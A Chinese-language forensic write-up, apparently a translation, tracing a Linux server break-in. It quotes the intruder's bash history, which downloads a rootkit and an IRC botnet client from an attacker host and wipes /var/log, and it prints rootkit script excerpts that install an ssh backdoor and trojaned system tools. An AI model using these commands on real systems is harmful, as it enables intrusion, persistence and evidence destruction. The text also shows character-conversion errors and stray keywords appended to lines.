最近有個朋友讓我去幫他看一下他的Linux服務器,說是Apache啓動不了,有不少詭異的狀況。後來證實毫不是Apache啓動不了這麼簡單。web
登上服務器以後隨便看了下,最早引發我注意的是」ls」命令的輸出:sql
- lars@server1:~$ ls
- ls: invalid option -- h
- Try `ls --help' for more information.
爲何」ls」默認加了」-h」參數呢?我用」alias」命令看了一下,而後取消了這個別名以後」ls」就工做正常了。shell
- lars@server1:~$ alias ls
- alias ls='ls -sh --color=auto'
- lars@server1:~$ unalias ls
- lars@server1:~$ ls
- backup
- lars@server1:~$
雖然很奇怪,不過個人首要任務是先把apache啓動起來,等過會再仔細研究這個問題。apache
- lars@server1:~$ sudo /etc/init.d/apache2 start
- Password:
- * Starting apache 2.0 web server...
- (2): apache2: could not open error log file /var/log/apache2/error.log.
- Unable to open logs
- ...fail!
納尼?趕忙去」/var/log/」目錄一看,果真」apache2/」文件夾不見了.並且這個目錄下其餘的文件夾,好比」mysql/」,」samba/」也都不見了.必定是哪裏出錯了.會不會是我朋友不當心刪掉了呢,他跟我說絕對沒有.而後我用root登陸進去準備修復日誌丟失的問題。vim
- lars@server1:~$ sudo -i
- Password:
- root@server1:~# ls
- ls: unrecognized prefix: do
- ls: unparsable value for LS_COLORS environment variable
- total 44
- 4 . 4 .bashrc 4 .ssh
- 4 .. 4 .lesshst 8 .viminfo
- 8 .bash_history 4 .profile 4 .vimrc
很不幸的發現,」ls」又出問題了.一樣,用」alias」命令:c#
- root@server1:~# alias ls
- alias ls='ls -sa --color=auto'
- root@server1:~# unalias ls
- root@server1:~# ls
- root@server1:~#
這個時候,我才意識到問題的嚴重性.」ls」奇怪的舉動和」/var/log/」大量日誌被刪除讓我懷疑服務器是否被入侵了.當我看到root目錄下的」.bash_history」時,就已經能夠肯定被入侵了。promise
- root@server1:~# cat -n .bash_history
- ...
- 340 w
- 341 cd /var
- 342 wget http://83.19.148.250/~matys/pliki/shv5.tar.gz
- 343 tar -zxf shv5.tar.gz
- 344 rm -rf shv5.tar.gz
- 345 mv shv5 .x
- 346 cd .x
- 347 ./setup zibi.joe.149 54098
- 348 passwd
- 349 passwd
- 350 ps aux
- 351 crontab -l
- 352 cat /etc/issue
- 353 cat /etc/passwd
- 354 w
- 355 who
- 356 cd /usr/lib/libsh
- 357 ls
- 358 hide +
- 359 chmod +x hide
- 360 hide +
- 361 ./hide +
- 362 cd /var/.x
- 363 mkdir psotnic
- 364 cd psotnic
- 365 wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
- 366 tar -zxf psotnic0.2.5.tar.gz
- 367 rm -rf psotnic0.2.5.tar.gz
- 368 ls
- 369 mv psotnic-0.2.5-linux-static-ipv6 synscan
- 370 ./synscan
- 371 vi conf
- 372 vi conf1
- 373 mv synscan smbd
- 374 smbd -c conf
- 375 ls
- 376 ps aux
- 377 ls
- 378 ./smbd -c conf
- 379 ./smbd -c conf1
- 380 ./smbd conf
- 381 ./smbd conf1
- 382 ./smbd -a conf conf1
- 383 rm -rf conf.dec
- 384 rm -rf conf1.dec
- 385 cd /usr/lib/libsh
- 386 ./hide +
- 387 exit
- ...
- 425 ssh ftp@62.101.251.166
- 426 w
- 427 ls
- 428 ls
- 429 cd /var/.x
- 430 ls
- 431 cd psotnic/
- 432 ls
- 433 rm -rf /var/log/*
- 434 exit
- 435 ls
- 436 cd /var/.x/psotnic/
- 437 ls
- 438 vi conf2
- 439 ./smbd -c conf2
- 440 ./smbd conf2
- 441 ./smbd -a conf conf1 conf2
- 442 rm -rf conf2.dec
- 443 cd ..
- 444 ls
- 445 cd /usr/lib/libsh
- 446 hide +
- 447 ./hide +
- 448 exit
- 449 ps aux
- 450 cd /var/.x
- 451 ls
- 452 ls
- 453 cd psotnic/
- 454 ls
- 455 cat pid.MastaH
- 456 kill -9 2030
- 457 ./synscan -a conf conf1
- 458 ./smbd -a conf conf1
- 459 cd /usr/lib/libsh
- 460 ./hide +
這個系統已經被入侵了.這實在是使人激動的一件事情,不過很顯然,個人朋友不這麼想.這個入侵者犯了一個很基本的錯誤,沒有清除」.bash_history」文件.因此他/她可能在其餘的地方也留下了一些蛛絲馬跡.接下來就是詳細的分析一下此次入侵。bash
經過bash history咱們獲得了大量的信息.先來看一下」/var/.x」下面隱藏了什麼和命令」setup zibi.joe.149 54098″的做用吧。
- root@server1:/var/.x# file setup
- setup: Bourne-Again shell script text executable
- root@server1:/var/.x# wc -l setup
- 825 setup
- root@server1:/var/.x# head -17 setup
- #!/bin/bash
- #
- # shv5-internal-release
- # by: PinT[x] April/2003
- #
- # greetz to:
- #
- # [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
- # C00L|0, GolDenLord, Spike, zion ...
- # [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
- # [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
- # [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
- # [*] And all others who diserve to be here but i forgot
- # [*] them at the moment !
- #
- # PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !
「setup」這個腳本是rootkit shv5的安裝腳本.它安裝了一個修改過的ssh後門–」/bin/ttyload」,而後把它加到了」/etc/inittab」,這樣每次重啓後就會自動啓動.(相關部分的腳本以下:)
- mv $SSHDIR/sshd /sbin/ttyload
- chmod a+xr /sbin/ttyload
- chmod o-w /sbin/ttyload
- touch -acmr /bin/ls /sbin/ttyload
- chattr +isa /sbin/ttyload
- kill -9 `pidof ttyload` >/dev/null 2>&1
- ....
- # INITTAB SHUFFLING
- chattr -isa /etc/inittab
- cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
- cat /etc/inittab |grep getty > /tmp/.init2
- echo "# Loading standard ttys" >> /tmp/.init1
- echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1
它也替換了一些linux的標準命令。
- # Backdoor ps/top/du/ls/netstat/etc..
- cd $BASEDIR/bin
- BACKUP=/usr/lib/libsh/.backup
- mkdir $BACKUP
- ...
- # ls ...
- chattr -isa /bin/ls
- cp /bin/ls $BACKUP
- mv -f ls /bin/ls
- chattr +isa /bin/ls
這樣子就能夠解釋爲何」ls」命令輸出那麼奇怪了。
「.backup」文件夾保存了被替換以前的命令程序。
- root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
- total 552
- -rwxr-xr-x 1 root root 126276 Dec 24 22:58 find
- -rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig
- -rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls
- -rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum
- -rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat
- -rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps
- -rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree
- -rwxr-xr-x 1 root root 50180 Dec 24 22:58 top
看了一下時間戳,竟然是在聖誕節。
很顯然,原始的」ls」和後門安裝的」ls」是不同的.他們的md5對好比下:
- root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
- eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/.backup/ls
- 0a07cf554c1a74ad974416f60916b78d /bin/ls
- root@server1:~# file /bin/ls
- /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked
- (uses shared libs), for GNU/Linux 2.0.0, stripped
- root@server1:~# file /usr/lib/libsh/.backup/ls
- /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked
- (uses shared libs), for GNU/Linux 2.6.0, stripped
這個rootkit(「sh5.tar.gz」)是從下面的地址下載的。
- root@server1:~# dig +short -x 83.19.148.250
- 4lo.bydg.pl.
這是一個波蘭的ip,從這個ip上沒有獲得更多的信息.不過這個入侵者依然犯了幾個嚴重的錯誤.
這是運行」setup」命令的截圖:(在服務器上的沙盒裏運行的)
因此」zibi.joe.149″是後門的密碼,」54098″是端口號.這是一個來自ssh.com的就版本的sshd.測試截圖以下:
安裝完後門以後,下一個步驟就是裝一個irc-bot,讓服務器變成僵屍網絡中的一員.」psotnic0.2.5.tar.gz」就是來達到這個目的的.入侵者解壓這個包以後把 irc-bot重命名爲」smbd」,來達到隱藏的目的。
而後,他建立了兩個配置文件.文件中包含irc服務器和須要加入的頻道.配置文件是加密過的,並且明文的配置文件被刪掉了。
- vi conf
- vi conf1
- ....
- ./smbd -c conf
- ./smbd -c conf1
- ./smbd conf
- ./smbd conf1
- ./smbd -a conf conf1
讓咱們執行一下382這條命令,看看會發生什麼。
- root@server1:/var/.x/psotnic# ./smbd -a conf conf1
- Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
- Copyright (C) 2003-2005 Grzegorz Rusin
- [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
- [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1
- [+] Added 2 psotnics to cron
哇!它添加了cron定時任務.趕忙看一看:
- root@server1:/var/.x/psotnic# crontab -l
- */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
- */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1
接下來,我殺掉這兩個惡意的smbd進程,禁用cron任務.在另外一個shell中運行了tcpdump,而後手動啓動了這兩個irc-bot進程:
- root@server1:~# cd /var/.x/psotnic; ./smbd conf
- Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
- Copyright (C) 2003-2005 Grzegorz Rusin
- [*] Acting as LEAF
- [+] Config loaded
- [+] Going into background [pid: 5724]
- root@server1:/var/.x/psotnic# ./smbd conf1
- Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
- Copyright (C) 2003-2005 Grzegorz Rusin
- [*] Acting as LEAF
- [+] Config loaded
- [+] Going into background [pid: 5727]
- root@server1:/var/.x/psotnic#
用」ps」命令(後門替換過的)能夠看到這兩個進程.這也是爲何入侵者須要經過更名字來隱藏進程。
- root@server1:/var/.x/psotnic# ps axuw | grep smb
- root 3799 0.0 0.4 8592 2156 ? S 11:00 0:00 /usr/sbin/smbd -D
- root 3808 0.0 0.1 8592 896 ? S 11:00 0:00 /usr/sbin/smbd -D
- root 5724 0.0 0.1 1648 772 pts/2 S 12:47 0:00 ./smbd conf
- root 5727 0.0 0.1 1640 764 pts/2 S 12:47 0:00 ./smbd conf1
最開始兩個是真正的samba進程,後面兩個是irc-bot,讓咱們用」strace」命令來看看它作了什麼:
- root@server1:~# strace -p 5727
- ...
- connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress)
- ...
- connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)
能夠看到它嘗試鏈接ip 83.18.74.235的9714端口和195.159.0.92的6667端口:
- root@server1:~# dig +short -x 83.18.74.235
- manhattan.na.pl.
- root@server1:~# dig +short -x 195.159.0.92
- ircnet.irc.powertech.no.
又是一個波蘭的ip.另一個ip,」ircnet.irc.powertech.no」是」irc.powertech.nof」的別名.是挪威一個著名的irc服務器。
tcpdump抓到了鏈接irc服務器的流量.正以下面的內容顯示,它鏈接到了」irc.powertech.no」,加入了」#aik」頻道。
- :irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no
- :irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1
- :578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik
- :irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo
- :irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.
- :irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW
- :irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW
- :irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW
- :irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW
- :irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW
- :irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW
- :irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW
- :irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..
- :irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW
- :irc.powertech.no 315 578PAB9NB #aik :End of WHO list.
- 這些僅僅是加入#aik頻道,並開始監聽該頻道全部成員的一些原始網絡流量.我決定本身進入這個頻道看看.令我驚訝的是不須要任何密碼我就進來了.
- 17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik
- 17:43 [Users #aik]
- 17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo ]
- 17:43 [ brandyz ] [ IpaL] [ kknd] [ viper42] [ xerkoz]
- 17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]
- 17:43 -!- Irssi: Join to #aik was synced in 1 secs
我發現我朋友的服務器使用的暱稱是」578PQB9NB」,還有一些其餘的服務器也在這裏.這些殭屍服務器應該是正在等待着咱們的入侵者加入頻道發佈命令.或者他已經潛藏在這裏了.我注意到,全部的暱稱都有一個後綴」\*-GTW」,只有一個沒有:
- 17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]
- 17:45 [powertech] -!- ircname : LaPi@IRCNet
- 17:45 [powertech] -!- channels : #relaks #ping @#seks #aik @#ogame.pl
- #pingwinaria #hattrick #trade #admin @#!sh
- 17:45 [powertech] -!- server : *.at [\o\ \o/ /o/]
這是惟一一個加入了多個頻道的暱稱.我猜我已經找到這個入侵者了,除非這是一個故意迷惑的誘餌.(恩,這個入侵者真的真麼笨!!這麼容易就找到了!?).我決定等幾天看看有木有什麼有趣的事情發生.這個域名解析到了:
- $ dig +short campus19.panorama.sth.ac.at
- 193.170.51.84
根據RIPE的數據,這個ip屬於Vienna University計算機中心,我發了一封郵件詢問關於這個域名的信息,他們幾個小時後會我了:
|
看起來我不夠幸運。
接下來我曾嘗試鏈接irc頻道里其餘殭屍主機的 54098端口,惋惜都失敗了.看來其餘的殭屍主機的後門可能使用的是別的端口。
鏈接到」83.18.74.235″的流量看起來很混亂.只好再次用strace命令:
- root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace
跟預期的同樣,有不少輸出,其中一個是它嘗試啓動」BitchX」,這是一個irc客戶端.可是失敗了,由於BitchX沒有安裝:
- [pid 7537] write(2, "sh: ", 4) = 4
- [pid 7537] write(2, "BitchX: not found", 17) = 17
- [pid 7537] write(2, "n", 1) = 1
- [pid 7537] close(2) = 0
下面的截圖是tcpdump抓到流量的一部分:
這僅僅是兩個假的smbd進程中的一個.另一個也連到了兩個irc服務器,一個是波蘭這個,另一個是」irc.hitos.no」,位於挪威的特羅姆斯郡。
入侵者除了這些,還運行了一個叫」hide」的腳原本清除日誌:
- root@server1:/usr/lib/libsh# ./hide +
- Linux Hider v2.0 by mave
- enhanced by me!
- [+] [Shkupi Logcleaner] Removing + from the logs........ .
- [+] /var/log/messages ... [done]
- [+] /var/run/utmp ... [done]
- [+] /var/log/lastlog ... [done]
- [+] /var/log/wtmp ... [done]
- * m i s s i o n a c c o m p l i s h e d *
- p.h.e.e.r S.H.c.r.e.w
那麼這個入侵者爲何還要把」/var/log/」目錄全刪除了呢,是不相信這個工具麼?仍是他特別懼怕?
能夠看到這個服務器被入侵了,安裝了後門並且加入了殭屍網咯.可是入侵者犯了幾個錯誤致使他可能被偵查到:
一、忘記清除」.bash_history」文件
二、「/var/log」目錄下全部文件都刪除了.致使某些程序沒法啓動.很容易被發現.
三、修改了root的密碼.又是一個愚蠢的行爲.永遠不要修改root密碼,這個必然會引發管理員的注意.
四、irc的頻道沒有密碼保護.雖然即便有密碼,咱們也能夠抓包分析出來.
五、入侵者平時就在僵屍網絡的頻道閒逛?若是是這樣的話那他已經暴露了.
固然還有幾個遺留的問題:
一、」ssh ftp@62.101.251.166″ 這個命令是幹嗎的.是入侵者不當心敲錯了麼仍是有其餘的目的?
- $ dig +short -x 62.101.251.166
- cA6FB653E.dhcp.bluecom.no.
二、跟83.18.74.235(manhattan.na.pl)的通信內容是什麼?
三、最重要的問題是他一開始是如何或得下系統的權限的?這個服務器運行的是Ubuntu 6.06 LTS,打了最新的補丁。可能入侵的途徑:
*猜想root密碼,不幸的是這個密碼是強密碼*
*未知的exploit*
*某個用戶在已經被攻陷的主機上登陸這臺服務器.入侵者嗅探到了密碼.*